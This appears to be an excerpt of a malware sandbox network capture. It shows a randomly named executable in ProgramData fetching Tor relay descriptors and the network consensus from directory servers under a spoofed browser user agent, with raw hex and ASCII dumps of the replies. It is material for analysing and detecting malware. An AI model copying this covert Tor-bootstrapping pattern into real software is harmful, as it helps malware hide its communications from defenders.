CERT-----AQQABxzVAac5VxDFQy3xVjXm3df08GLeCZQsRWJ6nbyg7GWYMgPAAQAgBADr2SSR45lU4mCXtMAUyL+GvR8KotIN9XbSgM8o4uNrf+zkaxLdv/G25iX3wgxl1GWLGUx5EgXR2v2ZFzjCenHuSEvBILfW5qoQR+T9OTiEI5JKD33Og8d3VrNj2kJbEQ4=-----END ED25519 CERT-----master-key-ed25519 69kkkeOZVOJgl7TAFMi/hr0fCqLSDfV20oDPKOLja38platform Tor 0.4.7.12 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 21:40:13fingerprint 3236 4BEF 8739 44BE 481E 8BCC 7FAE 9297 F5F3 9781uptime 662758bandwidth 1073741824 1073741824 24094507extra-info-digest 45253F59B50947328E883E6DDD589F4604E4B94F fQchGoftARUVg8olSQL49by3HaEk3w5v/kZ3kzIHpoIonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMpuAOl3QEcVaCnsClmr/5In3PGXaPlEtjuS/Fs7oT5CiPdJw3leXgopSYm8myFyZIGRCL0Eg0gRHqSwQDeA05FQYC5h8vQPiBGtoSFW+AgFkHTGu46bkS/nOpajsBBvRwnIOnhLCC1/WW0qL+JqahhmpPTyw6La2LiPx9xvIlUJAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM1hJI/MuGeKYrk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49735	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:46.891283989 CET	2857	OUT	GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:48.145195961 CET	2859	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:47 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:47 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 6c 61 79 6f 6e 31 31 37 33 20 31 38 35 2e 32 32 30 2e 31 30 31 2e 31 37 33 20 31 31 31 37 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 71 69 41 65 6d 66 33 75 62 51 54 33 38 38 76 52 30 4c 68 38 62 47 44 73 38 6e 63 76 54 30 46 78 39 34 66 66 62 31 67 6f 79 7a 39 5a 7a 73 41 51 41 67 42 41 43 4d 77 51 76 74 0a 33 6d 69 31 78 6c 73 65 4b 68 68 4d 35 77 43 4d 6f 52 4a 42 78 76 6f 48 65 76 70 4f 53 61 58 33 6e 71 2f 59 70 47 4e 78 75 56 33 44 79 41 76 67 30 57 73 35 41 5a 44 6f 77 52 69 5a 65 75 51 64 0a 37 6b 38 2b 6d 4b 36 6d 31 56 42 66 2f 7a 56 38 54 72 32 6b 58 5a 42 43 6c 4b 6b 57 54 4b 2f 63 33 6f 30 78 31 41 52 33 4d 51 52 68 2b 57 65 69 61 72 32 72 31 62 55 36 79 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 6a 4d 45 4c 37 64 35 6f 74 63 5a 62 48 69 6f 59 54 4f 63 41 6a 4b 45 53 51 63 62 36 42 33 72 36 54 6b 6d 6c 39 35 36 76 32 4b 51 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 62 3a 66 34 63 32 3a 31 3a 3a 31 37 33 5d 3a 31 31 31 37 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 37 3a 34 35 3a 34 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 37 41 37 32 20 44 41 33 31 20 32 37 42 45 20 30 39 41 38 20 30 32 32 35 20 35 41 36 30 20 30 43 44 30 20 42 34 45 39 20 37 37 38 35 20 46 35 46 44 0a 75 70 74 69 6d 65 20 31 30 38 30 31 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 35 35 30 34 33 38 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 32 39 37 44 37 30 43 36 37 35 34 39 37 36 38 30 39 46 30 39 34 41 30 33 36 45 30 45 37 42 44 33 30 45 43 30 45 45 46 20 34 57 4d 51 6e 34 76 62 42 4e 66 45 46 4f 39 31 32 31 53 79 33 56 6a 79 2b 6c 4a 7a 69 4b 32 6e 6c 6e 4d 67 67 2f 31 6a 77 74 38 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 7a 4f 31 34 63 76 52 5a 52 4f 32 49 4e 57 67 54 57 70 6a 52 42 4e 64 52 37 66 76 71 45 36 6e 56 50 6e 73 43 32 46 42 52 4f 34 38 70 2f 79 52 7a 68 66 4d 51 43 57 0a 5a 6f 64 2f 54 76 77 76 63 33 70 59 32 70 66 4f 42 75 6a 73 32 38 6c 4c 51 66 32 57 65 4b 31 32 74 46 6f 4a 46 75 73 4b 37 76 32 41 42 61 76 2b 6d 39 31 2b 49 51 61 6b 51 66 78 6c 41 64 4d 66 0a 77 74 62 42 42 70 64 4f 39 62 4e 71 2b 47 6c 69 73 55 7a 43 36 51 58 4d 62 38 6f 71 6f 46 33 77 45 2b 4f 50 76 70 59 56 47 2f 4b 56 55 4d 6f 7a 79 76 75 48 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router relayon1173 185.220.101.173 11173 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxqiAemf3ubQT388vR0Lh8bGDs8ncvT0Fx94ffb1goyz9ZzsAQAgBACMwQvt3mi1xlseKhhM5wCMoRJBxvoHevpOSaX3nq/YpGNxuV3DyAvg0Ws5AZDowRiZeuQd7k8+mK6m1VBf/zV8Tr2kXZBClKkWTK/c3o0x1AR3MQRh+Weiar2r1bU6ygM=-----END ED25519 CERT-----master-key-ed25519 jMEL7d5otcZbHioYTOcAjKESQcb6B3r6Tkml956v2KQor-address [2a0b:f4c2:1::173]:11173platform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 17:45:48fingerprint 7A72 DA31 27BE 09A8 0225 5A60 0CD0 B4E9 7785 F5FDuptime 10801bandwidth 1073741824 1073741824 15504384extra-info-digest 0297D70C6754976809F094A036E0E7BD30EC0EEF 4WMQn4vbBNfEFO9121Sy3Vjy+lJziK2nlnMgg/1jwt8onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKzO14cvRZRO2INWgTWpjRBNdR7fvqE6nVPnsC2FBRO48p/yRzhfMQCWZod/Tvwvc3pY2pfOBujs28lLQf2WeK12tFoJFusK7v2ABav+m91+IQakQfxlAdMfwtbBBpdO9bNq+GlisUzC6QXMb8oqoF3wE+OPvpYVG/KVUMozyvuHAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49736	24.53.51.144	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:48.498742104 CET	2867	OUT	GET /tor/server/fp/3239007ce1fb2ecdfdf2067df23b949295dc5ef6 HTTP/1.0 Host: 24.53.51.144 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:49.397876978 CET	2869	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:49 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:01:49 GMT Data Raw: 72 6f 75 74 65 72 20 54 4f 52 32 44 46 4e 30 31 61 20 32 31 37 2e 31 38 32 2e 31 39 38 2e 38 30 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 75 33 41 54 2b 6e 48 78 50 70 58 61 49 74 51 67 6f 71 41 42 6f 53 43 46 4b 6b 2f 6d 41 6b 63 55 49 58 45 2f 52 70 4f 35 4f 33 47 6c 63 57 41 51 41 67 42 41 43 39 2b 34 6c 6b 0a 63 30 4f 32 6e 4b 6f 79 49 75 6d 49 6e 62 6b 47 73 48 79 37 63 32 78 69 51 4c 68 4c 56 50 79 65 43 4c 62 71 74 58 56 48 75 30 49 71 45 5a 68 7a 74 66 35 79 65 5a 41 58 65 44 6b 4b 75 61 50 32 0a 77 6c 71 73 46 59 69 32 76 6f 76 72 4a 4d 59 75 48 57 57 4b 59 77 62 4f 70 4c 50 53 65 68 4f 78 73 4b 4e 51 58 48 38 61 41 30 41 4e 4e 74 63 62 41 6d 33 46 7a 35 43 73 6b 41 67 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 76 66 75 4a 5a 48 4e 44 74 70 79 71 4d 69 4c 70 69 4a 32 35 42 72 42 38 75 33 4e 73 59 6b 43 34 53 31 54 38 6e 67 69 32 36 72 55 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 30 36 3a 35 34 3a 31 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 32 33 39 20 30 30 37 43 20 45 31 46 42 20 32 45 43 44 20 46 44 46 32 20 30 36 37 44 20 46 32 33 42 20 39 34 39 32 20 39 35 44 43 20 35 45 46 36 0a 75 70 74 69 6d 65 20 35 30 34 30 30 34 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 32 39 37 35 38 30 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 31 30 36 33 38 46 34 35 43 34 35 36 38 45 31 45 33 46 45 43 38 43 42 42 43 44 46 42 45 39 38 43 45 45 30 32 37 32 31 20 37 6a 47 4d 5a 4e 37 70 6f 30 4a 32 30 56 59 30 56 74 54 71 42 46 79 31 45 34 5a 41 70 63 6e 74 46 79 75 4a 63 49 48 52 44 45 49 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 6e 6f 65 7a 53 6c 65 64 42 56 67 65 2f 75 70 35 6a 38 32 72 64 74 4c 4e 6a 36 75 36 57 78 64 44 6c 56 6c 45 6a 61 75 45 69 53 64 35 78 7a 69 48 4a 74 6d 57 51 64 0a 48 63 54 5a 79 43 38 70 30 6c 4d 74 69 4c 71 48 73 6d 4f 6c 76 6f 43 2b 72 6a 48 69 55 64 62 44 34 76 4f 33 62 30 6b 65 58 4f 51 4f 6f 61 68 79 6c 35 79 54 38 39 34 77 6a 66 32 4b 4f 37 77 55 0a 55 54 5a 67 7a 6f 49 70 76 49 48 49 2f 57 6d 54 33 74 4b 51 62 62 37 77 4a 45 73 47 74 79 6a 78 32 43 43 44 39 4d 53 6c 56 35 30 46 59 4f 39 66 6a 78 6f 7a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 41 64 43 62 Data Ascii: router TOR2DFN01a 217.182.198.80 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxu3AT+nHxPpXaItQgoqABoSCFKk/mAkcUIXE/RpO5O3GlcWAQAgBAC9+4lkc0O2nKoyIumInbkGsHy7c2xiQLhLVPyeCLbqtXVHu0IqEZhztf5yeZAXeDkKuaP2wlqsFYi2vovrJMYuHWWKYwbOpLPSehOxsKNQXH8aA0ANNtcbAm3Fz5CskAg=-----END ED25519 CERT-----master-key-ed25519 vfuJZHNDtpyqMiLpiJ25BrB8u3NsYkC4S1T8ngi26rUplatform Tor 0.4.7.13 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 06:54:17fingerprint 3239 007C E1FB 2ECD FDF2 067D F23B 9492 95DC 5EF6uptime 504004bandwidth 1073741824 1073741824 42975804extra-info-digest F10638F45C4568E1E3FEC8CBBCDFBE98CEE02721 7jGMZN7po0J20VY0VtTqBFy1E4ZApcntFyuJcIHRDEIonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALnoezSledBVge/up5j82rdtLNj6u6WxdDlVlEjauEiSd5xziHJtmWQdHcTZyC8p0lMtiLqHsmOlvoC+rjHiUdbD4vO3b0keXOQOoahyl5yT894wjf2KO7wUUTZgzoIpvIHI/WmT3tKQbb7wJEsGtyjx2CCD9MSlV50FYO9fjxozAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANAdCb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49738	131.188.40.189	80	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:01:54.705429077 CET	2882	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:01:54.726679087 CET	2883	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:01:54 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Thu, 09 Feb 2023 01:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 33 2d 30 32 2d 30 39 20 30 30 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 32 2d 30 39 20 30 31 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 33 2d 30 32 2d 30 39 20 30 33 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 35 2e 31 36 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 35 2e 31 36 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 2c 30 2e 34 2e 37 2e 31 33 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2023-02-09 00:00:00fresh-until 2023-02-09 01:00:00valid-until 2023-02-09 03:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.5.16,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.5.16,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12,0.4.7.13known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCi
Feb 9, 2023 01:01:54.726731062 CET	2884	IN	Data Raw: 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 Data Ascii: rcuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 DoSRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterv
Feb 9, 2023 01:01:54.726758957 CET	2885	IN	Data Raw: 75 61 72 64 2d 6e 2d 70 72 69 6d 61 72 79 2d 67 75 61 72 64 73 2d 74 6f 2d 75 73 65 3d 32 20 68 73 5f 73 65 72 76 69 63 65 5f 6d 61 78 5f 72 64 76 5f 66 61 69 6c 75 72 65 73 3d 31 20 68 73 64 69 72 5f 73 70 72 65 61 64 5f 73 74 6f 72 65 3d 34 20 Data Ascii: uard-n-primary-guards-to-use=2 hs_service_max_rdv_failures=1 hsdir_spread_store=4 overload_onionskin_ntor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 7 iHGU+U0HWiOZwyB5pXIHav
Feb 9, 2023 01:01:54.726784945 CET	2886	IN	Data Raw: 64 62 65 72 67 20 3c 6c 69 6e 75 73 40 6e 6f 72 64 62 65 72 67 2e 73 65 3e 0a 76 6f 74 65 2d 64 69 67 65 73 74 20 33 44 39 43 31 36 38 36 30 44 34 45 31 30 38 45 31 32 41 37 38 35 46 41 46 38 46 41 45 30 43 46 42 34 35 41 32 35 35 44 0a 64 69 72 Data Ascii: dberg <linus@nordberg.se>vote-digest 3D9C16860D4E108E12A785FAF8FAE0CFB45A255Ddir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.33.45 80 443contact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abus
Feb 9, 2023 01:01:54.726814032 CET	2888	IN	Data Raw: 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 32 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 Data Ascii: le V2Dir Validv Tor 0.4.7.12pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=17000p accept 20-21,23,43,53,79-81,88,110,143,194,220,389,443,464-46
Feb 9, 2023 01:01:54.726841927 CET	2889	IN	Data Raw: 2c 36 34 37 33 38 0a 72 20 66 72 65 65 64 6f 6d 72 75 6e 6e 65 72 20 41 42 48 33 34 32 63 30 31 6d 48 6f 4f 73 30 74 64 6c 4f 6a 65 57 71 52 50 58 63 20 4e 2b 67 69 71 58 48 32 39 77 63 79 56 50 6c 4e 52 6d 76 69 39 4e 63 61 44 71 41 20 32 30 32 Data Ascii: ,64738r freedomrunner ABH342c01mHoOs0tdlOjeWqRPXc N+giqXH29wcyVPlNRmvi9NcaDqA 2023-02-08 21:04:56 198.98.61.11 9001 0s Fast Guard Running Stable V2Dir Validv Tor 0.4.5.16pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1 HSDir=2 HSIntro=4-5 HSRend
Feb 9, 2023 01:01:54.726869106 CET	2890	IN	Data Raw: 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 36 31 30 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 46 6f 72 50 72 69 76 61 63 79 4e 45 Data Ascii: Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=610p reject 1-65535r ForPrivacyNET ADb6NqtDX9XQ9kBiZjaGfr+3LGg eOtHE9WLZr0ZF8fn0AqGjY1DF1s 2023-02-08 23:30:21 185.220.101.33 10133 0a [2a0b:f4c2:2::33]:10133s Exit Fast Guard HSDir Running St
Feb 9, 2023 01:01:54.726898909 CET	2892	IN	Data Raw: 2e 34 2e 37 2e 31 33 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d Data Ascii: .4.7.13pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=5800p reject 1-65535r Athena AF7ZchP3JYZ+QiuNwEQzYbuyTjw 4SAxfFc8g87vx452QTcc3366Re0 2023
Feb 9, 2023 01:01:54.726922989 CET	2893	IN	Data Raw: 7a 33 59 6a 55 20 32 30 32 33 2d 30 32 2d 30 38 20 32 31 3a 33 37 3a 32 39 20 32 30 30 2e 32 35 2e 31 36 2e 37 37 20 34 34 33 20 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c Data Ascii: z3YjU 2023-02-08 21:37:29 200.25.16.77 443 0s Exit Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.12pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4
